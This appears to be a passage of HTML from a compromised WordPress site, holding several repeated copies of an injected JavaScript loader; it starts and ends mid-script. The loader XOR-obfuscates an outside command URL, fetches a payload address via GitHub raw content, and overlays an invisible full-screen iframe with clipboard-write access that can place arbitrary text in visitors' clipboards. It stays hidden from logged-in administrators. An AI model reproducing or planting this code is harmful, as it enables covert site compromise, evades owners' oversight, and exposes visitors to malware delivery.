    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

